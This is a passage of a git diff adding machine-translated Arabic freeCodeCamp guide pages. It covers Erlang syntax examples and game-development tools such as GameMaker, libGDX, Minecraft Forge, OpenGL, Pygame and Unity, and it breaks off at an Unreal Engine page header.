+*   متزامن _(يمكن أن يفرز العديد من العمليات ، كل منها ينفذ عملًا صغيرًا ومعرَّفًا جيدًا ، ومعزولًا عن الآخر ولكنه قادر على التواصل عبر الرسائل)_
+*   قابلة للتبديل السريع _(يمكن تبديل الشفرة في النظام أثناء تشغيله ، مما يؤدي إلى توفر عالٍ والحد الأدنى من وقت تعطل النظام)_
+
+### بناء الجملة
+
+Erlang يجعل الاستخدام المكثف من **العودية** . منذ البيانات غير قابل للتغيير في إرلانج، واستخدام `while` و `for` حلقات (حيث يحتاج متغير للحفاظ على تغيير قيمتها) غير مسموح به.
+
+في ما يلي مثال على العودية ، حيث يوضح كيف تقوم إحدى الدرجات مرارًا بتفكيك الحرف الأول من مقدمة الاسم وطباعته ، ولا تتوقف إلا عند مواجهة الحرف الأخير.
+
+ `-module(name). 
+ 
+ -export([print_name/1]). 
+ 
+ print_name([RemainingLetter | []]) -> 
+  io:format("~c~n", [RemainingLetter]); 
+ print_name([FirstLetter | RestOfName]) -> 
+  io:format("~c~n", [FirstLetter]), 
+  print_name(RestOfName). 
+` 
+
+انتاج:
+
+ `> name:print_name("Mike"). 
+ M 
+ i 
+ k 
+ e 
+ ok 
+` 
+
+وهناك أيضا تركيز كبير على **نمط مطابقة،** التي كثيرا ما يلغي الحاجة ل `if` بنية أو `case` البيان. في المثال التالي ، هناك نوعان من التطابقات لأسماء محددة ، متبوعًا بـ catch-all لأية أسماء أخرى.
+
+ `-module(greeting). 
+ 
+ -export([say_hello/1]). 
+ 
+ say_hello("Mary") -> 
+  "Welcome back Mary!"; 
+ say_hello("Tom") -> 
+  "Howdy Tom."; 
+ say_hello(Name) -> 
+  "Hello " ++ Name ++ ".". 
+` 
+
+انتاج:
+
+ `> greeting:say_hello("Mary"). 
+ "Welcome back Mary!" 
+ > greeting:say_hello("Tom"). 
+ "Howdy Tom." 
+ > greeting:say_hello("Beth"). 
+ "Hello Beth." 
+` 
+
+### حاول
+
+هناك مواقع ويب يمكنك فيها محاولة تشغيل أوامر Erlang دون الحاجة إلى تثبيت أي شيء محليًا ، مثل هذه:
+
+*   [جربها! (برنامج تعليمي عملي)](http://www.tryerlang.org/)
+*   [TutorialsPoint CodingGround](https://www.tutorialspoint.com/compile_erlang_online.php)
+
+إذا كنت ترغب في تثبيته على جهاز (أو جهاز ظاهري) ، يمكنك العثور على ملفات التثبيت في [Erlang.org](https://www.erlang.org/downloads) أو على [Erlang Solutions](https://www.erlang-solutions.com/resources/download.html) .
+
+#### معلومات اكثر:
+
+*   [حول إرلانج](https://www.erlang.org/about)
+*   [تعلمك بعض Erlang عن جيد العظمى!](http://learnyousomeerlang.com/)
+*   [مأوى ينتج!](http://spawnedshelter.com/) _(مجموعة من المقالات ومقاطع الفيديو والكتب لتعلم Erlang)_
+*   [إرلانج (لغة برمجة)](https://en.wikipedia.org/wiki/Erlang_(programming_language))
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/arcade/index.md b/client/src/guide/arabic/game-development/arcade/index.md
new file mode 100644
index 0000000000..b4a6e9709e
--- /dev/null
+++ b/client/src/guide/arabic/game-development/arcade/index.md
@@ -0,0 +1,11 @@
+---
+title: Arcade
+localeTitle: ممر
+---
+## ممر
+
+### تطوير اللعبة مع أركيد
+
+Arcade هي مكتبة python التي تسهل مهمة إنشاء ألعاب ثنائية الأبعاد تتجنب تعقيد المكتبات الأخرى مثل pygame. مبنية على قمة Pyglet و openGL.
+
+[مستندات](arcade.academy)
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/gamemaker-studio/index.md b/client/src/guide/arabic/game-development/gamemaker-studio/index.md
new file mode 100644
index 0000000000..af3e70f2ec
--- /dev/null
+++ b/client/src/guide/arabic/game-development/gamemaker-studio/index.md
@@ -0,0 +1,46 @@
+---
+title: GameMaker Studio
+localeTitle: GameMaker Studio
+---
+## GameMaker Studio
+
+ستوديو GameMaker ، المعروف سابقًا باسم GameMaker ، هو برنامج تطوير ألعاب عبر الأنظمة الأساسية يركز بشكل أساسي على إنشاء ألعاب ثنائية الأبعاد باستخدام تسلسلات إجراءات السحب والإفلات أو لغة البرمجة النصية المعروفة باسم Game Maker Language (GML).
+
+### نظرة عامة:
+
+يسمح GameMaker للمستخدمين بإنشاء الألعاب ونماذجها بسرعة دون الحاجة إلى تعلم لغة برمجة. ألعاب GameMaker عادة يتكون من 3 أشياء على الأقل: صور متحركة (صور ورسوم متحركة) ، كائنات (منطق وتفاعلية) وغرف (شاشات ومستويات). تحتاج كل لعبة إلى غرفة واحدة على الأقل يتم استخدامها لكل من القوائم والمستويات ، والانتقال بين كل منهما.
+
+إصدار GameMaker Studio 2 في 2 نوفمبر 2016.
+
+### المنصات المدعومة:
+
+*   مايكروسوفت ويندوز
+*   ماك
+*   أوبونتو
+*   HTML5
+*   ذكري المظهر
+*   دائرة الرقابة الداخلية
+*   تلفزيون الأمازون النار
+*   Android TV
+*   مايكروسوفت UWP
+*   بلاي ستيشن 4
+*   بلاي ستيشن فيتا
+*   نينتندو سويتش (سبتمبر 2018)
+
+تم إثبات دعم PlayStation Portable و Raspberry Pi ولكن لم يتم إصداره.
+
+### ألعاب شعبية مصنوعة من GameMaker Studio:
+
+*   Spelunky
+*   الخط الساخن ميامي
+*   فرط الضوء التائه
+*   Crashlands
+*   VA-11 Hall-A
+*   Undertale
+*   العرش النووي
+
+#### معلومات اكثر:
+
+*   \[ويكيبيديا\] https://en.wikipedia.org/wiki/GameMaker\_Studio
+*   \[YoYo Games (publisher)\] https://www.yoyogames.com/gamemaker
+*   \[GameMaker: Studio | التوثيق\] https://docs.yoyogames.com/
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/godot/index.md b/client/src/guide/arabic/game-development/godot/index.md
new file mode 100644
index 0000000000..27c4ee311e
--- /dev/null
+++ b/client/src/guide/arabic/game-development/godot/index.md
@@ -0,0 +1,11 @@
+---
+title: Godot Engine
+localeTitle: محرك Godot
+---
+## محرك Godot
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/game-development/godot/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/godot/scripting/index.md b/client/src/guide/arabic/game-development/godot/scripting/index.md
new file mode 100644
index 0000000000..321949cce8
--- /dev/null
+++ b/client/src/guide/arabic/game-development/godot/scripting/index.md
@@ -0,0 +1,11 @@
+---
+title: Godot Scripting
+localeTitle: غودو البرمجة
+---
+## غودو البرمجة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/game-development/godot/scripting/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/index.md b/client/src/guide/arabic/game-development/index.md
new file mode 100644
index 0000000000..04541adb62
--- /dev/null
+++ b/client/src/guide/arabic/game-development/index.md
@@ -0,0 +1,61 @@
+---
+title: Game Development
+localeTitle: تطوير اللعبة
+---
+## تطوير اللعبة
+
+تطوير اللعبة هو فن إنشاء الألعاب ويصف تصميم وتطوير وإصدار لعبة. قد تنطوي على توليد الفكرة والتصميم والبناء والاختبار والإصدار. أثناء إنشاء اللعبة ، من المهم التفكير في ميكانيكا اللعبة والمكافآت ومشاركة اللاعبين وتصميم المستوى.
+
+يمكن لمطوّر الألعاب أن يكون مبرمجًا أو مصممًا للصوت أو فنانًا أو مصممًا أو العديد من الأدوار الأخرى المتوفرة في المجال.
+
+يمكن تطوير اللعبة بواسطة استوديو تطوير ألعاب كبير أو بواسطة فرد واحد. يمكن أن يكون صغيرًا أو كبيرًا كما تريد. طالما أنه يسمح للاعب بالتفاعل مع المحتوى وقادر على التعامل مع عناصر اللعبة ، يمكنك أن تسميها "لعبة".
+
+للمشاركة في عملية تطوير اللعبة ، لا تحتاج إلى كتابة التعليمات البرمجية. قد يقوم الفنانون بإنشاء الأصول وتصميمها ، بينما قد يركز مطور البرامج على برمجة شريط صحة. قد تتدخل أداة اختبار لمعرفة أن اللعبة تعمل كما هو متوقع.
+
+![What first games looked like](https://i.ytimg.com/vi/ePc12V6F0ws/maxresdefault.jpg "ما المباريات الأولى مثل")
+
+لحل مشاكل أطر العمل الخاصة بالألعاب ، تم تطوير أدوات مثل libGDX و OpenGL. ساعدوا في تطوير الألعاب ليكونوا أسرع وأسهل بكثير ، مما يوفر الكثير من الوظائف والميزات المعدة مسبقًا. ومع ذلك ، كان لا يزال من الصعب إدخال الصناعة أو فهم إطار عمل لشخص قادم من خلفية غير مبرمج ، وهي حالة شائعة في مشهد تطوير اللعبة.
+
+![3D map editor made with OpenGL](https://i.ytimg.com/vi/E0laTeycpB4/maxresdefault.jpg "محرر خريطة ثلاثية الأبعاد مع OpenGL")
+
+كان ذلك عندما تم تطوير محركات اللعبة مثل Construct و Game Maker و Unity و Unreal. بشكل عام ، يحتوي المحرك على كل ما كان يحتوي عليه إطار العمل ، ولكن مع نهج أكثر ودية باستخدام واجهة المستخدم الرسومية (GUI) والمساعدة في تطوير الرسومات للعبة.
+
+في بعض الحالات ، مثل Game Maker و Construct ، تكون كمية الوظائف المعدة مسبقًا كبيرة جدًا بحيث يتمكن الأشخاص الذين ليس لديهم مهارات برمجة سابقة من إنشاء لعبة من الصفر ، مما يؤدي إلى توسيع المشهد وجعل تطوير الألعاب متاحًا لأي شخص تقريبًا.
+
+### لعبة محركات
+
+![Unity development screen](http://paulbourke.net/stereographics/Unitystereo/textureplanes.jpg "شاشة تنمية الوحدة")
+
+يختار العديد من المطورين تطوير لعبة باستخدام Game Development Engine.
+
+يمكن لمحركات الألعاب أن تجعل عملية إنشاء اللعبة أسهل بكثير وتمكين المطورين من إعادة استخدام الكثير من الوظائف. كما أنه يعتني بتقديم الرسومات ثنائية الأبعاد وثلاثية الأبعاد ، والفيزياء ، وكشف الاصطدام ، والصوت ، والبرمجة والكثير غير ذلك.
+
+تحتوي بعض محركات الألعاب على منحنى تعليمي حاد للغاية مثل CryEngine أو Unreal Engine. ومع ذلك ، هناك أدوات أخرى يمكن الوصول إليها بسهولة من المبتدئين والبعض الآخر لا يحتاج حتى إلى القدرة على كتابة الكود لإنشاء لعبتك ، على سبيل المثال Construct 2.
+
+يتراوح محرك لعبة الوحدة في مكان ما في الوسط ، في حين أنه مبتدئ الودية ، تم بناء بعض الألعاب الشعبية والتجارية باستخدام Unity (على سبيل المثال ، Overcooked ، Superhot).
+
+محرك اللعبة BuildBox هو أساسًا لتطوير ألعاب hypercasual.
+
+### محركات اللعبة النموذجية
+
+*   كراي إنجن
+*   محرك غير واقعي
+*   وحدة لعبة المحرك
+*   صانع العاب
+*   بناء 2 أو 3
+*   جدل
+*   مصدر
+*   قضمة الصقيع
+*   Buildbox
+
+### معلومات اكثر
+
+*   [قائمة رائعة من موارد GameDev](https://github.com/Kavex/GameDev-Resources)
+*   [لعبة برمجة الكتب](http://www.fromdev.com/2013/07/game-development-books.html)
+*   [libGDX Framework](https://libgdx.badlogicgames.com/)
+*   [OpenGL Framework](https://www.opengl.org/)
+*   [بناء لعبة المحرك](https://www.scirra.com/)
+*   [لعبة صانع المحرك](https://www.yoyogames.com/gamemaker)
+*   [محرك Unity3D](https://unity3d.com/pt)
+*   [محرك غير واقعي](https://www.unrealengine.com/en-US/what-is-unreal-engine-4)
+*   [BuildBox](https://www.buildbox.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/libgdx/index.md b/client/src/guide/arabic/game-development/libgdx/index.md
new file mode 100644
index 0000000000..14a9690a86
--- /dev/null
+++ b/client/src/guide/arabic/game-development/libgdx/index.md
@@ -0,0 +1,15 @@
+---
+title: libGDX
+localeTitle: libGDX
+---
+## تطوير اللعبة مع libGDX
+
+libGDX عبارة عن إطار عمل تطوير تطبيقات مجاني ومفتوح المصدر مكتوب بلغة برمجة Java مع بعض مكونات C و C ++ للشفرة المعتمدة على الأداء.
+
+### نظرة عامة
+
+يدعم LibGDX تطوير الألعاب ثنائية وثلاثية الأبعاد ، وهو مكتوب بلغة جافا. بالإضافة إلى Java ، يمكن استخدام لغات JVM الأخرى ، مثل Kotlin أو Scala لبرمجة ألعاب libGDX. في المركز ، يستخدم libGDX LWJGL 3 للتعامل مع وظائف الألعاب الأساسية مثل الرسومات والمدخلات والصوت. يقدم LibGDX واجهة برمجة تطبيقات كبيرة لتبسيط برمجة الألعاب. يحتوي LibGDX على [ويكي](https://github.com/libgdx/libgdx/wiki) معلوماتية على صفحة جيثب ، وهناك العديد من البرامج التعليمية على الإنترنت.
+
+#### مصادر:
+
+https://github.com/libgdx/libgdx/wiki https://libgdx.badlogicgames.com/ https://www.reddit.com/r/libgdx/
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/minecraft-forge/index.md b/client/src/guide/arabic/game-development/minecraft-forge/index.md
new file mode 100644
index 0000000000..aee6230707
--- /dev/null
+++ b/client/src/guide/arabic/game-development/minecraft-forge/index.md
@@ -0,0 +1,58 @@
+---
+title: What is Minecraft Forge?
+localeTitle: ما هو Minecraft Forge؟
+---
+إذا كنت تقرأ هذا المقال فمن المحتمل أنك تعرف بالفعل Minecraft. نحن نستخدم Forge للتلاعب في لعبة Minecraft لجعلها تفعل ما نريد. يمكن أن يكون هذا أي شيء ، بدءًا من المخلوقات الرائعة الجديدة إلى الأنظمة الجديدة بالكامل في اللعبة.
+
+فورج هو واجهة برمجة تطبيقات Minecraft Forge (أو Forge for short) هي طبقة بين شفرتنا و Minecraft نفسها. لا يمكننا أن نطلب من Minecraft أن نضيف العناصر ونقوم بأشياء رائعة خاصة. لهذا السبب نحتاج إلى واجهة برمجة تطبيقات (API) للتعامل مع منطقنا وجعل Minecraft يتعرف عليه.
+
+## يبدو جيدا! كيف أبدأ؟
+
+*   ستحتاج إلى JDK (مجموعة تطوير Java) وهي مجموعة من المكتبات والأدوات وبيئة وقت التشغيل لجعل برامج Java وتشغيلها.
+*   حساب Minecraft الذي يمكن شراؤه من موقعه الرسمي على الويب. (https://minecraft.net/en-us/store/)
+*   ينصح باستخدام IDE (Eclipe أو IntelliJ لتطوير Minecraft)
+
+بعد تثبيت / الحصول على هذه البرامج ، قم بتنزيل النسخة Forge المطلوبة على https://files.minecraftforge.net/ ( _TIP: قم_ بالمرور فوق زر المعلومات واضغط على التنزيل المباشر لتجنب فيروس Adfly!) بمجرد تنزيل هذا الرمز البريدي ، ستكون قادرًا على فك ضغطه. افعل ذلك و cd (أمر cmd) في الدليل مع كل ملفات Forge. قم بتشغيل `gradlew setupDecompWorkspace`
+
+التالي هو اختيار IDE (بيئة التطوير المتكاملة). كسوف؟ `gradlew eclipse` ؟ قم باستيراد ملف build.gradle في إعداد IntelliJ الخاص بك!
+
+## حسنا ماذا الآن؟ كيف أضيف عناصر جديدة رائعة؟ (الإعداد mod modal)
+
+اكبح جماح نفسك. هناك الكثير من ذلك. سيكون عليك كتابة عنصر بالطبع وإضافة الكود وأكثر من ذلك بكثير! في هذه المقالة سننظر فقط في بعض نماذج التعليمات البرمجية البسيطة التي استخدمها أيضًا في تعديلاتي الخاصة. ها هو!
+
+\` @ Mod.EventBusSubscriber Mod (modid = Version.MOD _ID، name = Version.MOD_ NAME، version = Version.VERSION) الطبقة العامة TheMod {
+
+ `public static ModMetadata metadata; 
+ 
+ public static File baseDir; 
+ public static Configuration config; 
+ 
+ @SidedProxy(clientSide="com.ciphry.client.ClientProxy", serverSide="com.ciphry.common.CommonProxy") 
+ public static CommonProxy proxy; 
+ 
+ @Mod.EventHandler 
+ public void preInit(FMLPreInitializationEvent event) { 
+    proxy.preInit(event); 
+ 
+    baseDir = new File(event.getModConfigurationDirectory(), MOD_ID); 
+    config = new Configuration(event.getSuggestedConfigurationFile()); 
+ 
+    if (!baseDir.exists()) 
+        baseDir.mkdir(); 
+ } 
+ 
+ @Mod.EventHandler 
+ public void init(FMLInitializationEvent event) { 
+    proxy.init(event); 
+ 
+ } 
+ 
+ @Mod.EventHandler 
+ public void postInit(FMLPostInitializationEvent event) { 
+    proxy.postInit(event); 
+ } 
+` 
+
+} \`
+
+استخدم هذا الرمز كما تريد ، وتأكد من تحرير على سبيل المثال سلاسل الوكيل وأكثر! من المفترض أن يمنحك هذا نظرة عامة أساسية حول شكل طبقة التعديل الأساسية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/opengl/index.md b/client/src/guide/arabic/game-development/opengl/index.md
new file mode 100644
index 0000000000..1ddc60768a
--- /dev/null
+++ b/client/src/guide/arabic/game-development/opengl/index.md
@@ -0,0 +1,27 @@
+---
+title: OpenGL
+localeTitle: برنامج OpenGL
+---
+## تطوير اللعبة مع برنامج OpenGL
+
+Open Graphics Library (OpenGL) هي واجهة برمجة تطبيقية مشتركة بين عدة لغات (API) لتقديم رسومات متجه ثنائية الأبعاد وثلاثية الأبعاد. يتم استخدام واجهة برمجة التطبيقات (API) عادةً للتفاعل مع وحدة معالجة الرسومات (GPU) ، لتحقيق عرض مسرّع للأجهزة.
+
+بدأت شركة Silicon Graphics Inc (SGI) في تطوير OpenGL في عام 1991 وتم إصدارها في يناير 1992 ؛ تستخدم التطبيقات على نطاق واسع في مجالات التصميم بمساعدة الكمبيوتر (CAD) ، والواقع الافتراضي ، والتصور العلمي ، وتصور المعلومات ، ومحاكاة الطيران ، وألعاب الفيديو. منذ عام 2006 تم إدارة OpenGL من قبل مجموعة شركات خرنوس غير الربحية للتكنولوجيا.
+
+## تطبيقات
+
+يعد تطبيق Mesa 3D تطبيقًا مفتوح المصدر لـ OpenGL. يمكن أن يقدم عرضًا محضًا للبرامج ، وقد يستخدم أيضًا تسريع الأجهزة على BSD و Linux وغير ذلك من الأنظمة الأساسية من خلال الاستفادة من البنية الأساسية للعرض المباشر. اعتبارًا من الإصدار 13.0 ، يتم تطبيق الإصدار 4.5 من OpenGL القياسي.
+
+## المتطلبات الأساسية
+
+هناك حاجة إلى أي شرط مسبق خاص لمتابعة معظم البرامج التعليمية. الخبرة في أي لغة برمجة (C، Java، Lisp، Javascript) هي أفضل لفهم الأكواد بشكل كامل ، ولكن ليس هناك حاجة إليها ؛ سيكون الأمر أكثر تعقيدًا فقط لتعلم شيئين في نفس الوقت.
+
+## تثبيت OpenGL على لينكس
+
+ميسا هي مكتبة GL المستخدمة. يتضمن Ubuntu 16.04 Mesa 11.2 الذي يدعم OpenGL 4.1. فقط قم بتثبيت `libgl1-mesa-dev` و `mesa-common-dev` لتثبيت ملفات التطوير الخاصة به.
+
+إذا كنت تحتاج بالفعل إلى 4.5 ، فستحتاج على الأرجح إلى التطوير ضد برامج AMD أو NVidia ، وستحتاج إلى بطاقة تدعم بالفعل 4.5 لتشغيل أي برنامج تقوم بإنشائه باستخدام هذا الإصدار من API.
+
+#### معلومات اكثر:
+
+[OpenGL Wiki](https://en.wikipedia.org/wiki/OpenGL) [دروس OpenGL](http://www.opengl-tutorial.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/phaser/index.md b/client/src/guide/arabic/game-development/phaser/index.md
new file mode 100644
index 0000000000..519f4bb3c8
--- /dev/null
+++ b/client/src/guide/arabic/game-development/phaser/index.md
@@ -0,0 +1,15 @@
+---
+title: Phaser
+localeTitle: فيزر
+---
+## فيزر
+
+Phaser هو إطار مفتوح المصدر لتطوير ألعاب HTML5 لسطح المكتب والجوال.
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/game-development/phaser/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[برامج تعليمية Phaser الرسمية](https://phaser.io/learn)
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/pygame/index.md b/client/src/guide/arabic/game-development/pygame/index.md
new file mode 100644
index 0000000000..7bb35d4766
--- /dev/null
+++ b/client/src/guide/arabic/game-development/pygame/index.md
@@ -0,0 +1,15 @@
+---
+title: Pygame
+localeTitle: Pygame
+---
+## Pygame
+
+### تطوير اللعبة مع Pygame
+
+Pygame هو مكتبة مفتوحة المصدر ، مكتبة بيثون عبر منصة تستخدم لتطوير اللعبة ، من تأليف بيت شينرز. يمكن العثور على وثائق Pygame والمزيد من المعلومات على موقع الويب الخاص بها على https://pygame.org.
+
+### نظرة عامة
+
+بدأ المشروع في عام 2000 نتيجة لوفاة شركة PySDL. كانت مكتبة Pygame الإصدار 1.0 صدر بعد ستة أشهر من التطوير في أبريل من عام 2001.
+
+*   [الموقع الرسمي ل Pygame](https://www.pygame.org)
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/terasology/index.md b/client/src/guide/arabic/game-development/terasology/index.md
new file mode 100644
index 0000000000..8640afdde3
--- /dev/null
+++ b/client/src/guide/arabic/game-development/terasology/index.md
@@ -0,0 +1,21 @@
+---
+title: Terasology
+localeTitle: Terasology
+---
+لعبة voxel sandbox مفتوحة المصدر!
+
+> ولد مشروع Terasology من عرض تقني مستوحى من Minecraft ، وأصبح منصة ثابتة لأنواع مختلفة من إعدادات اللعب في عالم voxel. إن المبدعين والمشرفين هم مزيج متنوع من مطوري البرامج والمصممين واختبار اللعبة وفناني الجرافيك والموسيقيين. نشجع الآخرين على الانضمام!
+
+المصدر: http://terasology.org/
+
+Terasology هي منصة مفتوحة المصدر للعب أي نوع في عالم voxel. إذا كنت تقرأ هذه الجملة بانتباه يمكنك أن ترى أنني لم أستخدم كلمة "لعبة". السبب وراء ذلك هو حقيقة أن Terasology نفسها ليست لعبة كاملة! انها مجرد منصة لك لتعديل نفسك مع التعليمات البرمجية الخاصة بك أو وحدات مسبقة الصنع. لا تقلق على الرغم من ذلك ، هناك الكثير من الوحدات التي طورها الفريق متعدد التخصصات باستمرار.
+
+### الروح مفتوحة المصدر
+
+جانب آخر رائع حقا من هذه اللعبة هو حقيقة أن MovingBlocks (المنظمة وراء Terasology) تشارك في الأحداث الكبيرة مثل GCI (Google Code-In) ، GSOC (Google Summer of Code) وأكثر! وهذا ما يجعل البيئة حية بشكل خاص ، وهو ما يعزز روح المجتمع. هذا ليس بعض المنتجات العشوائية التي أدلى بها الجشع متعددة الجنسيات ، وهذا هو عمل فريق. فريق ذو شغف.
+
+### كيف يمكنني المساهمة؟
+
+أنت أيضا يمكن أن تساهم! تحقق من مستودع هنا على GitHub والبدء في اختراق الشفرة! تأكد من تنسيق كل شيء بشكل صحيح ، واستخدم رمزًا واضحًا واتبع جميع الاتفاقيات الخاصة بالمخزون! https://github.com/MovingBlocks/Terasology/wiki
+
+يمكن الاطلاع على الكثير من لقطات الشاشة والمحتوى والمدونات وغيرها على موقع الويب الخاص بهم على http://terasology.org/
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/unity/index.md b/client/src/guide/arabic/game-development/unity/index.md
new file mode 100644
index 0000000000..07054dfd8f
--- /dev/null
+++ b/client/src/guide/arabic/game-development/unity/index.md
@@ -0,0 +1,56 @@
+---
+title: Unity
+localeTitle: وحدة
+---
+## تطوير اللعبة مع الوحدة
+
+Unity هي عبارة عن محرك ألعاب متعدد المنصات طورته Unity Technologies ، والذي يستخدم أساسًا لتطوير ألعاب الفيديو وعمليات المحاكاة لأجهزة الكمبيوتر وأجهزة الألعاب وأجهزة الجوال. تم الإعلان لأول مرة فقط عن OS X ، في مؤتمر مطوري أبل في جميع أنحاء العالم في عام 2005 ، ومنذ ذلك الحين تم توسيعه ليشمل 27 منصة.
+
+## نظرة عامة
+
+Unity هو محرك لعبة كل الأغراض التي تدعم الرسومات ثنائية وثلاثية الأبعاد ، وظائف السحب والإفلات والبرمجة عبر [C #](https://guide.freecodecamp.org/csharp) .
+
+تحظى الوحدة بشعبية خاصة لتطوير ألعاب الجوال ، كما أن الكثير من التركيز على منصات الهواتف المحمولة. يعد خط الأنابيب ثنائي الأبعاد لشركة Unity3D إضافة أحدث إلى المحرك ، وهو أقل نضجًا من خط الأنابيب الثلاثي الأبعاد. على الرغم من أن Unity عبارة عن منصة رائعة لتطوير الألعاب ثنائية الأبعاد حتى عند مقارنتها بمحركات ثنائية الأبعاد مخصصة أخرى ، خاصة إذا كنت تخطط لإطلاق اللعبة عبر العديد من الأجهزة المحمولة.
+
+تعد الوحدة أيضًا خيارًا جيدًا لتطوير الواقع الافتراضي ، على الرغم من أن VR سوق صغيرة جدًا في الوقت الحالي. تعتبر أسواق الهواتف المحمولة و PSVR هي الأكبر في VR ، ووحدة Unity في وضع جيد بالفعل لألعاب Port إلى العديد من المنصات مثل PS4 و PC ، أو العديد من أسواق المحمول المختلفة.
+
+يستهدف المحرك واجهات برمجة تطبيقات الرسومات التالية: Direct3D في Windows و Xbox One ؛ OpenGL على Linux و MacOS و Windows ؛ OpenGL ES على نظامي التشغيل Android و iOS ؛ WebGL على الويب ؛ وواجهات برمجة التطبيقات الاحترافية على وحدات تحكم ألعاب الفيديو.
+
+بالإضافة إلى ذلك ، تدعم Unity واجهات برمجة التطبيقات ذات المستوى المنخفض Metal on iOS و macOS و Vulkan على Android و Linux و Windows ، وكذلك Direct3D 12 على Windows و Xbox One. ضمن ألعاب ثنائية الأبعاد ، تسمح Unity باستيراد النقوش المتحركة وعارض العالم المتقدم ثنائي الأبعاد.
+
+بالنسبة للألعاب ثلاثية الأبعاد ، يتيح Unity تحديد إعدادات ضغط النسيج ودقة الوضوح لكل نظام أساسي يدعمه محرك اللعبة ، ويوفر دعمًا لرسم خرائط التضاريس ، ورسم خرائط الانعكاس ، وتخطيط المنظر ، وإحداث انسداد في مساحة الشاشة (SSAO) ، وظلال ديناميكية باستخدام خرائط الظل ، وعرض إلى الملمس وآثار ما بعد المعالجة ملء الشاشة.
+
+كما تقدم Unity خدمات للمطورين ، وهي: Unity Ads و Unity Analytics و Unity Certification و Unity Cloud Build و Unity Everyplay و Unity IAP و Unity Multiplayer و Unity Performance Reporting و Unity Collaborate. إلى جانب ذلك ، تمتلك Unity مخزنًا للأصول حيث يمكن لمجتمع المطورين تنزيل وتحميل كل من موارد الجهات الخارجية والتجارية المجانية ، مثل الأنسجة ، والنماذج ، والمكونات الإضافية ، وإضافات المحرر ، وحتى أمثلة اللعبة بالكامل.
+
+الوحدة معروفة بقدرتها على استهداف الألعاب لمنصات متعددة. الأنظمة الأساسية المدعومة حاليًا هي Android و Android TV و Facebook Gameroom و Fire OS و Gear VR و Google Cardboard و Google Daydream و HTC Vive و iOS و Linux و macOS و Microsoft HoloLens و Nintendo 3DS family و Nintendo Switch و Oculus Rift و PlayStation 4 ، PlayStation Vita و PlayStation VR و Samsung Smart TV و Tizen و tvOS و WebGL و Wii U و Windows و Windows Phone و Windows Store و Xbox One.
+
+Unity هي مجموعة تطوير البرامج الافتراضية (SDK) لمنصة وحدة تحكم ألعاب الفيديو Wii U من Nintendo ، مع نسخة مجانية من Nintendo مع كل ترخيص مطور برامج Wii U. تستدعي Unity Technologies هذه الحزمة من SDK لجهة خارجية "الصناعة أولاً".
+
+## جهة تعامل
+
+![واجهة الوحدة](https://github.com/pawelszpiczakowski/PublicStuff/raw/master/unityInterface.png)
+
+في الصورة أعلاه ، ستلاحظ خمسة أقسام: 1) القسم 1. **مشهد المشهد** : هذا هو المكان الذي ستخلق فيه مستوى للمشهد أو اللعبة أو المشروع ثلاثي الأبعاد. سيتم وضع جميع كائنات اللعبة والتلاعب بها هنا. 2) القسم 2. **لعبة عرض** : هذا هو المكان الذي سترى النتائج الخاصة بك ، كيف تبدو مستواك أو المشهد. يجب أن يكون لديك كاميرا على المشهد لترى كيف يبدو. في بعض الأحيان يطلق على الكاميرا. 3) القسم 3. **التسلسل الهرمي** : ستعرض هذه النافذة جميع كائنات اللعبة وضعت مباشرة على الساحة. في الأساس ، يجب إدراج كل ما تراه في Game View هنا. وهذا يشمل كائنات اللعبة غير المرئية والبصرية. 4) القسم 4. **المشروع** : هذه هي نافذة مشروعك. أساسا تظهر ما داخل مجلد الأصول على القرص الخاص بك. كل شيء من "كائنات اللعبة" ، "البرامج النصية" ، "Textures" ، "المجلدات" ، "Models" ، "الصوت" ، "الفيديو" و "... إلخ" يمكن الوصول إليها من هذه النافذة. 5) القسم 5. **المفتش** : ستعرض هذه اللوحة خصائص وخصائص مختلفة لعناصر اللعبة المحددة. اعتمادا على التحديد ، سيتم سرد السمات والمكونات المناسبة.
+
+## الألعاب الجديرة بالذكر:
+
+*   قاتل العقيدة: الهوية
+*   معبد تشغيل ثلاثية
+*   Battlestar Galactica Online
+*   حجر الموقد: أبطال علب
+*   في داخل
+*   Cuphead
+
+## التاريخ
+
+تم دعم لغتين برمجيتين أخريين: بو ، والذي تم إيقافه مع إصدار Unity 5 و UnityScript والذي تم إيقافه في أغسطس 2017 بعد إصدار Unity 2017.1.
+
+الوحدة دعمت سابقا 7 منصات أخرى بما في ذلك Unity Web Player.
+
+كان Unity Web Player مكونًا إضافيًا للمتصفح تم دعمه في نظامي التشغيل Windows و OS X فقط ، والذي تم إيقافه لصالح WebGL.
+
+الوحدة هي المحرك الذي يستخدمه Rust ، وبرنامج Kerbal Space ، و Cup Head.
+
+#### معلومات اكثر:
+
+[موقع الوحدة الرسمي](https://unity3d.com/) [ويكيبيديا](https://en.wikipedia.org/wiki/Unity_(game_engine)) [دروس الوحدة الرسمية](https://unity3d.com/learn)
\ No newline at end of file
diff --git a/client/src/guide/arabic/game-development/unreal-engine/index.md b/client/src/guide/arabic/game-development/unreal-engine/index.md
new file mode 100644
index 0000000000..9dda412fcf
--- /dev/null
